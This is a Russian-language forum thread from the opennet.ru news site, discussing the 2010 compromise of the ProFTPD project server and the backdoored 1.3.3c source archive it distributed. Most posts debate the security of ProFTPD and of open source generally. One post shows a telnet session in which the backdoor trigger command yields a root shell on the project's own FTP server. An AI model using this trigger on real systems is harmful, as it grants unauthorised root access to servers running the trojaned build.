forum.opennet.ru - "В коде FTP-сервера ProFTPD обрнаружен бэкдор" (50)

форумы

помощь

поиск

регистрация

майллист

вход/выход

слежка

"В коде FTP-сервера ProFTPD обрнаружен бэкдор"

Форум Разговоры, обсуждение новостей
Вариант для распечатки		Пред. тема \| След. тема
Изначальное сообщение		[ Отслеживать ]

"В коде FTP-сервера ProFTPD обрнаружен бэкдор"	+/–
Сообщение от opennews on 02-Дек-10, 19:32
Разработчики популярного FTP-сервера ProFTPD (http://www.proftpd.org/) сообщили (http://sourceforge.net/mailarchive/message.php?msg_name=alpi...) об обнаружении факта взлома сервера проекта и подмены архива с исходными текстами на вариант, содержащий вредоносный код. В результате атаки, c 28 ноября по 2 декабря с первичного FTP-сервера проекта и всех зеркал распространялся модифицированный вариант архива ProFTPD 1.3.3c. Всем пользователям, загрузившим код в указанный период времени, следует немедленно сверить контрольные суммы (http://www.proftpd.org/md5_pgp.html) для загруженного архива и в случае их несовпадения установить корректную версию ProFTPD. Так как в код был интегрирован бэкдор, FTP-серверы, работающие на базе модифицированной версии ProFTPD, можно отличить путем проверки (http://pastebin.ca/2008461), в результате которой пользователю открывается доступ к выполнению команд с привилегиями root: <font color="#461b7... URL: http://sourceforge.net/mailarchive/message.php?msg_name=alpi... Новость: http://www.opennet.me/opennews/art.shtml?num=28866
Ответить \| Правка \| Cообщить модератору

Оглавление

В коде FTP-сервера ProFTPD обрнаружен бэкдор, bootforce, 19:32 , 02-Дек-10, (1) –14

В коде FTP-сервера ProFTPD обрнаружен бэкдор, Maris, 19:45 , 02-Дек-10, (5) +5

В коде FTP-сервера ProFTPD обрнаружен бэкдор, deadless, 21:58 , 02-Дек-10, (20) +6

В коде FTP-сервера ProFTPD обрнаружен бэкдор, Hety, 14:19 , 03-Дек-10, (47) +1

В коде FTP-сервера ProFTPD обрнаружен бэкдор, Анон, 08:09 , 04-Дек-10, (57)

В коде FTP-сервера ProFTPD обрнаружен бэкдор, Аноним, 20:49 , 02-Дек-10, (11) +7
В коде FTP-сервера ProFTPD обрнаружен бэкдор, Аноним, 21:22 , 02-Дек-10, (13) +3
В коде FTP-сервера ProFTPD обрнаружен бэкдор, User294, 22:24 , 02-Дек-10, (22) –2

В коде FTP-сервера ProFTPD обрнаружен бэкдор, Konstantin, 08:11 , 03-Дек-10, (34) +1

В коде FTP-сервера ProFTPD обрнаружен бэкдор, anonymous, 09:54 , 03-Дек-10, (39)
В коде FTP-сервера ProFTPD обрнаружен бэкдор, Аноним, 13:32 , 03-Дек-10, (45) +1
В коде FTP-сервера ProFTPD обрнаружен бэкдор, User294, 14:44 , 03-Дек-10, (50)
В коде FTP-сервера ProFTPD обрнаружен бэкдор, Аноним, 21:22 , 03-Дек-10, (55)

В коде FTP-сервера ProFTPD обрнаружен бэкдор, Michael Shigorin, 17:35 , 04-Дек-10, (59)

В коде FTP-сервера ProFTPD обрнаружен бэкдор, bootforce, 13:14 , 03-Дек-10, (44)

В коде FTP-сервера ProFTPD обрнаружен бэкдор, User294, 19:18 , 03-Дек-10, (52) –1

В коде FTP-сервера ProFTPD обрнаружен бэкдор, bootforce, 17:57 , 04-Дек-10, (60)

В коде FTP-сервера ProFTPD обрнаружен бэкдор, К.О., 16:08 , 04-Дек-10, (58) –1

В коде FTP-сервера ProFTPD обрнаружен бэкдор, botman, 19:33 , 02-Дек-10, (2) +1

В коде FTP-сервера ProFTPD обрнаружен бэкдор, Аноним, 19:57 , 02-Дек-10, (6) +3

В коде FTP-сервера ProFTPD обрнаружен бэкдор, ххх, 17:41 , 03-Дек-10, (51)
В коде FTP-сервера ProFTPD обрнаружен бэкдор, User294, 21:07 , 03-Дек-10, (53) +1

Взлом сервера проекта ProFTPD привел к внедрению бэкдора, Аноним, 19:41 , 02-Дек-10, (4) +19
Взлом сервера проекта ProFTPD привел к внедрению бэкдора, Анон, 20:22 , 02-Дек-10, (8) +1

Взлом сервера проекта ProFTPD привел к внедрению бэкдора, PereresusNeVlezaetBuggy, 02:19 , 04-Дек-10, (56)

Взлом сервера проекта ProFTPD привел к внедрению бэкдора, Аноним, 20:32 , 02-Дек-10, (9)
Взлом сервера проекта ProFTPD привел к внедрению бэкдора, вывуыф, 21:26 , 02-Дек-10, (16) +1

Взлом сервера проекта ProFTPD привел к внедрению бэкдора, Аноним, 00:24 , 03-Дек-10, (28)

Ну молодцы конечно - сами себя не обновили, Аноним, 21:34 , 02-Дек-10, (19) +2

Ну молодцы конечно - сами себя не обновили, deadless, 22:03 , 02-Дек-10, (21) +2

Ну молодцы конечно - сами себя не обновили, Иван, 09:47 , 03-Дек-10, (38)

Ну молодцы конечно - сами себя не обновили, splat_pack, 11:24 , 03-Дек-10, (42)

Ну молодцы конечно - сами себя не обновили, User294, 21:11 , 03-Дек-10, (54)

Взлом сервера проекта ProFTPD привел к внедрению бэкдора, Аноним, 23:22 , 02-Дек-10, (24) +2

Взлом сервера проекта ProFTPD привел к внедрению бэкдора, Аноним, 07:39 , 03-Дек-10, (33)

Взлом сервера проекта ProFTPD привел к внедрению бэкдора, anonymous_peer, 23:42 , 02-Дек-10, (25) –4

Взлом сервера проекта ProFTPD привел к внедрению бэкдора, zazik, 00:09 , 03-Дек-10, (27) +1

Взлом сервера проекта ProFTPD привел к внедрению бэкдора, anonymous_peer, 02:55 , 03-Дек-10, (31)

Взлом сервера проекта ProFTPD привел к внедрению бэкдора, szh, 03:12 , 03-Дек-10, (32)

Взлом сервера проекта ProFTPD привел к внедрению бэкдора, Аноним, 10:40 , 03-Дек-10, (41)

Взлом сервера проекта ProFTPD привел к внедрению бэкдора, szh, 12:18 , 03-Дек-10, (43)

Взлом сервера проекта ProFTPD привел к внедрению бэкдора, Клыкастый, 14:22 , 03-Дек-10, (48) +1

В коде FTP-сервера ProFTPD обрнаружен бэкдор, zazik, 00:08 , 03-Дек-10, (26) +4

В коде FTP-сервера ProFTPD обрнаружен бэкдор, аноним_, 09:09 , 03-Дек-10, (35) +2
Взлом сервера проекта ProFTPD привел к внедрению бэкдора, Кир, 02:09 , 03-Дек-10, (30) +5
Взлом сервера проекта ProFTPD привел к внедрению бэкдора, тоже Аноним, 14:06 , 03-Дек-10, (46) +1

Взлом сервера проекта ProFTPD привел к внедрению бэкдора, bircoph, 09:20 , 03-Дек-10, (36)
Взлом сервера проекта ProFTPD привел к внедрению бэкдора, Амнезинус, 09:46 , 03-Дек-10, (37) +1

Взлом сервера проекта ProFTPD привел к внедрению бэкдора, Амнезинус, 09:58 , 03-Дек-10, (40)

Взлом сервера проекта ProFTPD привел ко внедрению бэкдора, Любящий мыслить, 20:16 , 07-Дек-10, (62)

Сообщения по теме [Сортировка по времени | RSS]

1. "В коде FTP-сервера ProFTPD обрнаружен бэкдор" –14 +/–

Сообщение от bootforce on 02-Дек-10, 19:32

Ну вот и пришел опенсурс к успеху, известности и популярности. Дыры посыпались одна за одной.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

5. "В коде FTP-сервера ProFTPD обрнаружен бэкдор" +5 +/–

Сообщение от Maris on 02-Дек-10, 19:45

Может я конечно ошибаюс, но ProFTPD сравнително давно и известен и популярен.

Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

20. "В коде FTP-сервера ProFTPD обрнаружен бэкдор" +6 +/–

Сообщение от deadless on 02-Дек-10, 21:58

Вот именно сравнительно давно известен как дырявое корыто. везде стоит только vsftpd и ничего другого.

Ответить | Правка | ^ к родителю #5 | Наверх | Cообщить модератору

47. "В коде FTP-сервера ProFTPD обрнаружен бэкдор" +1 +/–

Сообщение от Hety (??) on 03-Дек-10, 14:19

+1. С тех пор, как появился vsftpd ничего другого использовать нет возможности. Совесть не позволяет.

Ответить | Правка | ^ к родителю #20 | Наверх | Cообщить модератору

57. "В коде FTP-сервера ProFTPD обрнаружен бэкдор" +/–

Сообщение от Анон on 04-Дек-10, 08:09

Совесть побоку, главное чтобы инфа конторы не уплыла в неизвестном направлении.

Ответить | Правка | ^ к родителю #47 | Наверх | Cообщить модератору

11. "В коде FTP-сервера ProFTPD обрнаружен бэкдор" +7 +/–

Сообщение от Аноним (??) on 02-Дек-10, 20:49

Вообще-то он всю дорогу дырявый

Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

13. "В коде FTP-сервера ProFTPD обрнаружен бэкдор" +3 +/–

Сообщение от Аноним (??) on 02-Дек-10, 21:22

Пришел? Проприетарные FTP сервера вообще нигде не используются - FTP всю жизнь работал на опенсорсе (даже поболе HTTP). А ProFTPd всегда был дырявым, так что ничего неожиданного.

Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

22. "В коде FTP-сервера ProFTPD обрнаружен бэкдор" –2 +/–

Сообщение от User294 (ok) on 02-Дек-10, 22:24

> Ну вот и пришел опенсурс к успеху, известности и популярности. Дыры посыпались
> одна за одной.
Хоть вам бы и хотелось обосрать опенсорц, но правда жизни немного не такая. И состоит она в том что в ProFTPD дыры находили и раньше. А если вы вдруг только сейчас отпустили ручник - опенсорс в этом не виноват, как ни странно. Ну вот например новость 4-летней давности: http://www.opennet.me/opennews/art.shtml?num=8799 - как это с вашей теорией согласуется?

Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

34. "В коде FTP-сервера ProFTPD обрнаружен бэкдор" +1 +/–

Сообщение от Konstantin (??) on 03-Дек-10, 08:11

Правда жизни в том, что 5 дней распространялись сорцы с трояном. Такое тоже раньше было? :)

Ответить | Правка | ^ к родителю #22 | Наверх | Cообщить модератору

39. "В коде FTP-сервера ProFTPD обрнаружен бэкдор" +/–

Сообщение от anonymous (??) on 03-Дек-10, 09:54

Да было такое. Попытки в мохнатых 1990-х подменить архивы tcpwrapper. Вовремя заметили благодаря подписанным MD5-суммам.

Ответить | Правка | ^ к родителю #34 | Наверх | Cообщить модератору

45. "В коде FTP-сервера ProFTPD обрнаружен бэкдор" +1 +/–

Сообщение от Аноним (??) on 03-Дек-10, 13:32

Вот Вы меня проприетарщики поражаете. Неужели Вы верите что до Microsoft жизни не было?
Была. И сети были и интернет и червь Моррисона, и операционные системы.

Ответить | Правка | ^ к родителю #34 | Наверх | Cообщить модератору

50. "В коде FTP-сервера ProFTPD обрнаружен бэкдор" +/–

Сообщение от User294 (ok) on 03-Дек-10, 14:44

> тоже раньше было? :)
Да, было. А что в этом такого принципиально невозможного?

Ответить | Правка | ^ к родителю #34 | Наверх | Cообщить модератору

55. "В коде FTP-сервера ProFTPD обрнаружен бэкдор" +/–

Сообщение от Аноним (??) on 03-Дек-10, 21:22

Проприетарщина с троянами и вирусами распространялась годами...

Ответить | Правка | ^ к родителю #34 | Наверх | Cообщить модератору

59. "В коде FTP-сервера ProFTPD обрнаружен бэкдор" +/–

Сообщение от Michael Shigorin (ok) on 04-Дек-10, 17:35

В том числе и на официальных болванках не раз и не два. ЕМНИП Microsoft Ireland в т.ч.

Ответить | Правка | ^ к родителю #55 | Наверх | Cообщить модератору

44. "В коде FTP-сервера ProFTPD обрнаружен бэкдор" +/–

Сообщение от bootforce on 03-Дек-10, 13:14

зачем мне его обсирать, если это мой хлеб? я просто слежу за тенденциями, которые в том числе отражаются и в новостях на этом сайте.

Ответить | Правка | ^ к родителю #22 | Наверх | Cообщить модератору

52. "В коде FTP-сервера ProFTPD обрнаружен бэкдор" –1 +/–

Сообщение от User294 (ok) on 03-Дек-10, 19:18

> зачем мне его обсирать, если это мой хлеб?
Не знаю. А в чем фокус - заявить "посыпались дыры" хотя у proftpd проблемы с секурити были и раньше, при том довольно суровые? oO

Ответить | Правка | ^ к родителю #44 | Наверх | Cообщить модератору

60. "В коде FTP-сервера ProFTPD обрнаружен бэкдор" +/–

Сообщение от bootforce on 04-Дек-10, 17:57

ну я вообще про опенсурс написал же, а не про профтпд конкретно

Ответить | Правка | ^ к родителю #52 | Наверх | Cообщить модератору

58. "В коде FTP-сервера ProFTPD обрнаружен бэкдор" –1 +/–

Сообщение от К.О. on 04-Дек-10, 16:08

С IIS все равно не сравнится.

Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

2. "В коде FTP-сервера ProFTPD обрнаружен бэкдор" +1 +/–

Сообщение от botman (ok) on 02-Дек-10, 19:33

Юные читатели журналов "Хакер" атакуют?

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

6. "В коде FTP-сервера ProFTPD обрнаружен бэкдор" +3 +/–

Сообщение от Аноним (??) on 02-Дек-10, 19:57

Ага, разбежался... они только с**т в коментах. А эти ACIDBITCHES перед этим как раз дыру в ядре нашли-изучили и эксплуатировали 1,5 года.

Ответить | Правка | ^ к родителю #2 | Наверх | Cообщить модератору

51. "В коде FTP-сервера ProFTPD обрнаружен бэкдор" +/–

Сообщение от ххх on 03-Дек-10, 17:41

> Ага, разбежался... они только с**т в коментах. А эти ACIDBITCHES перед этим
> как раз дыру в ядре нашли-изучили и эксплуатировали 1,5 года.
в ядре чего??

Ответить | Правка | ^ к родителю #6 | Наверх | Cообщить модератору

53. "В коде FTP-сервера ProFTPD обрнаружен бэкдор" +1 +/–

Сообщение от User294 (ok) on 03-Дек-10, 21:07

> Ага, разбежался... они только с**т в коментах. А эти ACIDBITCHES перед этим
> как раз дыру в ядре нашли-изучили и эксплуатировали 1,5 года.
Еще, судя по всему, те же кислотные сучки вбросили и бэкдор в Unreal IRCD (http://www.opennet.me/opennews/art.shtml?num=26945). Префикс команды бэкдора AB как бы намекает чьих это рук дело. Там, кстати, как я понял тоже раздолбайское администрирование в основном виновато - не заметили взлом, подписей не было. Ради справедливости замечу что серваков с бэкдором в диком виде почти не попалось, хотя бэкдор анреала довольно долго валялся. Видимо эффективность таких атак не слишком высокая. Если из пакетов софт ставить - тут майнтайнеры скорее всего спасут ситуацию.
ЗЫ а от кислотных сук и польза есть - теперь народ будет читать сорцы, а не только качать и тупо компилить, гы-гы :). На то и щуки-сцуки, чтобы карась не дремал.

Ответить | Правка | ^ к родителю #6 | Наверх | Cообщить модератору

4. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора" +19 +/–

Сообщение от Аноним (??) on 02-Дек-10, 19:41

"Взлом сервера проекта был осуществлен в результате несвоевременного обновления ProFTPD, обслуживающего FTP-сервер проекта ProFTPD."
Сапожники блин, насмешили :-D

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

8. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора" +1 +/–

Сообщение от Анон on 02-Дек-10, 20:22

Что зачастили со взломом opensource'а. Хотя не opensource итого чаще ломают.
От последнего обзаца улыбнуло: ProFTPD несвоевременно обновили ProFTPD.:))

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

56. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора" +/–

Сообщение от PereresusNeVlezaetBuggy (ok) on 04-Дек-10, 02:19

> Что зачастили со взломом opensource'а. Хотя не opensource итого чаще ломают.
Так это... ресурс сей вроде бы в первую очередь про опенсорс пишет, не? А о дырках в пропиетарных программах тоже пишут, просто вы, видимо, в таких местах бываете реже. :)

Ответить | Правка | ^ к родителю #8 | Наверх | Cообщить модератору

9. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора" +/–

Сообщение от Аноним (??) on 02-Дек-10, 20:32

ProFTPD всегда был дырой

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

16. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора" +1 +/–

Сообщение от вывуыф on 02-Дек-10, 21:26

я собирал из портов фряхи профтп как раз где-то 28-29 ноября 1.3.3с тарбол в distfiles, чексуммы в норме, уязвимости нет, видимо не с официального сервера качалось, повезло)

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

28. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора" +/–

Сообщение от Аноним (??) on 03-Дек-10, 00:24

> я собирал из портов фряхи профтп как раз где-то 28-29 ноября 1.3.3с
> тарбол в distfiles, чексуммы в норме, уязвимости нет, видимо не с
> официального сервера качалось, повезло)
1.3.3с в портах от 4-го числа (ноября): http://www.freshports.org/ftp/proftpd/, т.е. брали его с оф. сайта 4-го или раньше. все последующие правки внутре-фряшные, обычно для этого опять исходники не сгружают с оф.сайта, а работают над уже имеющимися.

Ответить | Правка | ^ к родителю #16 | Наверх | Cообщить модератору

19. "Ну молодцы конечно - сами себя не обновили" +2 +/–

Сообщение от Аноним (??) on 02-Дек-10, 21:34

Это какими надо быть разгильдями чтобы про дыру трезвонить везде всему интернету (что процессы proftpd например размножаются), а самим не обновить ПО на своем собственном сервере.
Или видимо у них разрабы отдельно, а одмин отдельно и он был в запое? :))

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

21. "Ну молодцы конечно - сами себя не обновили" +2 +/–

Сообщение от deadless on 02-Дек-10, 22:03

> Это какими надо быть разгильдями чтобы про дыру трезвонить везде всему интернету
> (что процессы proftpd например размножаются), а самим не обновить ПО на
> своем собственном сервере.
> Или видимо у них разрабы отдельно, а одмин отдельно и он был
> в запое? :))
потому что пишут клоуны, им бы Тео прочитал бы лекцию часов эдак на 5...

Ответить | Правка | ^ к родителю #19 | Наверх | Cообщить модератору

38. "Ну молодцы конечно - сами себя не обновили" +/–

Сообщение от Иван (??) on 03-Дек-10, 09:47

>> Это какими надо быть разгильдями чтобы про дыру трезвонить везде всему интернету
>> (что процессы proftpd например размножаются), а самим не обновить ПО на
>> своем собственном сервере.
>> Или видимо у них разрабы отдельно, а одмин отдельно и он был
>> в запое? :))
> потому что пишут клоуны, им бы Тео прочитал бы лекцию часов эдак
> на 5...
А вы сами сразу обновляете ПО? Сразу после выхода новой версии/патча? Тогда наверно у вас максимум домашний сервер обслуживается...

Ответить | Правка | ^ к родителю #21 | Наверх | Cообщить модератору

42. "Ну молодцы конечно - сами себя не обновили" +/–

Сообщение от splat_pack (ok) on 03-Дек-10, 11:24

я укаждое утро открываю почту и вижу там отчет о том какой варез требуецо обновнить, иду на сервера и таки да, обновляю, если вы этого не делаете то ССЗБ. Или надеетесь на то что "я под линуксом, мне не страшно" что вобщем-то многих линуксоидов и отличает.

Ответить | Правка | ^ к родителю #38 | Наверх | Cообщить модератору

54. "Ну молодцы конечно - сами себя не обновили" +/–

Сообщение от User294 (ok) on 03-Дек-10, 21:11

> я укаждое утро открываю почту и вижу там отчет о том какой
> варез требуецо обновнить, иду на сервера и таки да, обновляю,
А если лень читать - то уж хотя-бы пакетный манагер то пнуть можно, это ж просто и быстро. И майнтайнеры обычно оперативно реагируют на проблемы. Хотя лучше ессно использовать софт, авторы которого уделают безопасности должное внимание.

Ответить | Правка | ^ к родителю #42 | Наверх | Cообщить модератору

24. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора" +2 +/–

Сообщение от Аноним (??) on 02-Дек-10, 23:22

Они похоже исходники пересобрали, а сервер забыли перезапустить или их еще раз сломали.
$ telnet ftp.proftpd.org 21
Trying 188.40.77.49...
Connected to rsync.proftpd.de.
Escape character is '^]'.
220 Welcome to ftp.proftpd.org
HELP ACIDBITCHEZ
id ;
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

33. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора" +/–

Сообщение от Аноним (??) on 03-Дек-10, 07:39

Только что прбовал :) убрали

Ответить | Правка | ^ к родителю #24 | Наверх | Cообщить модератору

25. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора" –4 +/–

Сообщение от anonymous_peer (ok) on 02-Дек-10, 23:42

1. Взломали сервер проекта, чтобы подменить архив с исходными текстами программы…
2. …который добровольно скачали и установили себе (с официального сервера!) множество пользователей…
3. Модифицированный ProFTPD предоставляет root-shell по команде "help кислотные с..и"…
4. В довершение всего сервер проекта ProFTPD был взломан благодаря уязвимости в самом же ProFTPD…
Я… я просто не знаю что сказать… :)
Просто EPIC FAIL !
Хотя, и смешно, и грустно. Вкупе с последними похожими новостями. Потому что, похоже, на «1 % пользователей» наконец-таки обратили внимание, и это только начало.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

27. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора" +1 +/–

Сообщение от zazik (ok) on 03-Дек-10, 00:09

> 2. …который добровольно скачали и установили себе (с официального сервера!) множество
> пользователей…
Насчёт множества я бы не говорил, у множества, я надеюсь, vsftpd или нечто подобное стоит.

Ответить | Правка | ^ к родителю #25 | Наверх | Cообщить модератору

31. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора" +/–

Сообщение от anonymous_peer (ok) on 03-Дек-10, 02:55

Ну, у одного множества — ProFTPD, у другого — vsftpd. Про большинство я не говорил ).

Ответить | Правка | ^ к родителю #27 | Наверх | Cообщить модератору

32. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора" +/–

Сообщение от szh (ok) on 03-Дек-10, 03:12

> Потому что, похоже, на «1 % пользователей» наконец-таки обратили внимание, и это только начало.
Трололо, на серверах Линукса десятки процентов уже на протяжении 8 лет, обрати наконец на это свое внимание.
ProFTPd это прежде всего серверный софт, его ломали не для того чтобы на домашние компы залезть.
Epic fail в твоей аргументации.
Где сломанный Апач, где сломанный VSFTPD, где сломанный kernel.org ? На 50% веб серверов не обратили внимание ?

Ответить | Правка | ^ к родителю #25 | Наверх | Cообщить модератору

41. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора" +/–

Сообщение от Аноним (??) on 03-Дек-10, 10:40

А зачем "десяткам процентов линуксов на серверах" файрфокс, хорг, опеноффис, всевозможные игрушки (с неконсольным интерфейсом!!!), видеопроигрыватели и прочая и прочая?

Ответить | Правка | ^ к родителю #32 | Наверх | Cообщить модератору

43. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора" +/–

Сообщение от szh (ok) on 03-Дек-10, 12:18

десяткам процентов на серверах на прямую не нужны. Мы тут ProFTPD обсуждаем, а не опенофис с игрушками.

Ответить | Правка | ^ к родителю #41 | Наверх | Cообщить модератору

48. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора" +1 +/–

Сообщение от Клыкастый on 03-Дек-10, 14:22

> Хотя, и смешно, и грустно. Вкупе с последними похожими новостями. Потому что,
> похоже, на «1 % пользователей» наконец-таки обратили внимание, и это только
> начало.
вы прямо слово как инопланетянин. взломы были, есть и будут. отличие в том, что юниксы ломают достаточно продвинутые люди. на эпидемию это решительно не тянет и не потянет никогда. для сравнения: сколько proftpd загрузили за 5 дней? У меня vsftpd например. Юниксовый мир - это компот и зоопарк. Там в принципе сложно выйти на уровень эпидемии.

Ответить | Правка | ^ к родителю #25 | Наверх | Cообщить модератору

26. "В коде FTP-сервера ProFTPD обрнаружен бэкдор" +4 +/–

Сообщение от zazik (ok) on 03-Дек-10, 00:08

Не судьба им была vsftpd поставить. Теперь расплачиваются.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

35. "В коде FTP-сервера ProFTPD обрнаружен бэкдор" +2 +/–

Сообщение от аноним_ on 03-Дек-10, 09:09

Круто позабавил, настроение с утра поднял

Ответить | Правка | ^ к родителю #26 | Наверх | Cообщить модератору

30. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора" +5 +/–

Сообщение от Кир on 03-Дек-10, 02:09

Дооо, Апач -- такой совершенно никому не известный сервер, и сплошь дырявый, ну просто сплошь... Или vsftpd -- дырявый, прям жуть берет, только придурки из IBM и могут его рекомендовать...

Ответить | Правка | ^ к родителю #26 | Наверх | Cообщить модератору

46. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора" +1 +/–

Сообщение от тоже Аноним (ok) on 03-Дек-10, 14:06

Я вам больше скажу: весь софт - одна большая дыра. Совершенно безглючных программ не бывает (во всяком случае, среди тех, что развиваются).
Поэтому вы выбирайте: или пользоваться продуктами, разработчики которых не боятся обсуждения дыр, отслеживают их и оперативно закрывают, или верить, что проприетарные системы "просто сразу намного лучше" и отсутствие обсуждения дыр в них говорит в их пользу.
По мнению сторонников опенсурса, фраза "относительная, кажущаяся защищенность" - не о первом варианте, а о втором.

Ответить | Правка | ^ к родителю #26 | Наверх | Cообщить модератору

36. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора" +/–

Сообщение от bircoph on 03-Дек-10, 09:20

> Взлом сервера проекта был осуществлен в результате несвоевременного обновления ProFTPD
Замечу, не какого-то там проекта, а ProFTPD, из-за несвоевременного обновления ни чего-то там, а ProFTPD! Да они должны были первыми обновиться. Epic FAIL.
/me продолжает довольно использовать vsftpd.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

37. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора" +1 +/–

Сообщение от Амнезинус on 03-Дек-10, 09:46

>ACIDBITCHEZ
хм, это те самые ребята, которые под видом тестового эксплоита парили троян? :)

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

40. "Взлом сервера проекта ProFTPD привел к внедрению бэкдора" +/–

Сообщение от Амнезинус on 03-Дек-10, 09:58

http://www.opennet.me/opennews/art.shtml?num=27979 вот этот

Ответить | Правка | ^ к родителю #37 | Наверх | Cообщить модератору

62. "Взлом сервера проекта ProFTPD привел ко внедрению бэкдора" +/–

Сообщение от Любящий мыслить on 07-Дек-10, 20:16

А у меня постоянно тырят инфу с vsftpd. Сначала воруют у юзеров пароли, а потом с фтп скачивают. Было даже финальный релиз какого то проекта стырили вместе с дистрибутивом визуальной студии.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема

Партнёры:

Хостинг:

Закладки на сайте
Проследить за страницей

Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру

1. "В коде FTP-сервера ProFTPD обрнаружен бэкдор"	–14 +/–
Сообщение от bootforce on 02-Дек-10, 19:32
Ну вот и пришел опенсурс к успеху, известности и популярности. Дыры посыпались одна за одной.
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору


	5. "В коде FTP-сервера ProFTPD обрнаружен бэкдор"	+5 +/–
	Сообщение от Maris on 02-Дек-10, 19:45
	Может я конечно ошибаюс, но ProFTPD сравнително давно и известен и популярен.
	Ответить \| Правка \| ^ к родителю #1 \| Наверх \| Cообщить модератору


	20. "В коде FTP-сервера ProFTPD обрнаружен бэкдор"	+6 +/–
	Сообщение от deadless on 02-Дек-10, 21:58
	Вот именно сравнительно давно известен как дырявое корыто. везде стоит только vsftpd и ничего другого.
	Ответить \| Правка \| ^ к родителю #5 \| Наверх \| Cообщить модератору


	47. "В коде FTP-сервера ProFTPD обрнаружен бэкдор"	+1 +/–
	Сообщение от Hety (??) on 03-Дек-10, 14:19
	+1. С тех пор, как появился vsftpd ничего другого использовать нет возможности. Совесть не позволяет.
	Ответить \| Правка \| ^ к родителю #20 \| Наверх \| Cообщить модератору


	57. "В коде FTP-сервера ProFTPD обрнаружен бэкдор"	+/–
	Сообщение от Анон on 04-Дек-10, 08:09
	Совесть побоку, главное чтобы инфа конторы не уплыла в неизвестном направлении.
	Ответить \| Правка \| ^ к родителю #47 \| Наверх \| Cообщить модератору


	11. "В коде FTP-сервера ProFTPD обрнаружен бэкдор"	+7 +/–
	Сообщение от Аноним (??) on 02-Дек-10, 20:49
	Вообще-то он всю дорогу дырявый
	Ответить \| Правка \| ^ к родителю #1 \| Наверх \| Cообщить модератору


	13. "В коде FTP-сервера ProFTPD обрнаружен бэкдор"	+3 +/–
	Сообщение от Аноним (??) on 02-Дек-10, 21:22
	Пришел? Проприетарные FTP сервера вообще нигде не используются - FTP всю жизнь работал на опенсорсе (даже поболе HTTP). А ProFTPd всегда был дырявым, так что ничего неожиданного.
	Ответить \| Правка \| ^ к родителю #1 \| Наверх \| Cообщить модератору


	22. "В коде FTP-сервера ProFTPD обрнаружен бэкдор"	–2 +/–
	Сообщение от User294 (ok) on 02-Дек-10, 22:24
	> Ну вот и пришел опенсурс к успеху, известности и популярности. Дыры посыпались > одна за одной. Хоть вам бы и хотелось обосрать опенсорц, но правда жизни немного не такая. И состоит она в том что в ProFTPD дыры находили и раньше. А если вы вдруг только сейчас отпустили ручник - опенсорс в этом не виноват, как ни странно. Ну вот например новость 4-летней давности: http://www.opennet.me/opennews/art.shtml?num=8799 - как это с вашей теорией согласуется?
	Ответить \| Правка \| ^ к родителю #1 \| Наверх \| Cообщить модератору


	34. "В коде FTP-сервера ProFTPD обрнаружен бэкдор"	+1 +/–
	Сообщение от Konstantin (??) on 03-Дек-10, 08:11
	Правда жизни в том, что 5 дней распространялись сорцы с трояном. Такое тоже раньше было? :)
	Ответить \| Правка \| ^ к родителю #22 \| Наверх \| Cообщить модератору


	39. "В коде FTP-сервера ProFTPD обрнаружен бэкдор"	+/–
	Сообщение от anonymous (??) on 03-Дек-10, 09:54
	Да было такое. Попытки в мохнатых 1990-х подменить архивы tcpwrapper. Вовремя заметили благодаря подписанным MD5-суммам.
	Ответить \| Правка \| ^ к родителю #34 \| Наверх \| Cообщить модератору


	45. "В коде FTP-сервера ProFTPD обрнаружен бэкдор"	+1 +/–
	Сообщение от Аноним (??) on 03-Дек-10, 13:32
	Вот Вы меня проприетарщики поражаете. Неужели Вы верите что до Microsoft жизни не было? Была. И сети были и интернет и червь Моррисона, и операционные системы.
	Ответить \| Правка \| ^ к родителю #34 \| Наверх \| Cообщить модератору


	50. "В коде FTP-сервера ProFTPD обрнаружен бэкдор"	+/–
	Сообщение от User294 (ok) on 03-Дек-10, 14:44
	> тоже раньше было? :) Да, было. А что в этом такого принципиально невозможного?
	Ответить \| Правка \| ^ к родителю #34 \| Наверх \| Cообщить модератору


	55. "В коде FTP-сервера ProFTPD обрнаружен бэкдор"	+/–
	Сообщение от Аноним (??) on 03-Дек-10, 21:22
	Проприетарщина с троянами и вирусами распространялась годами...
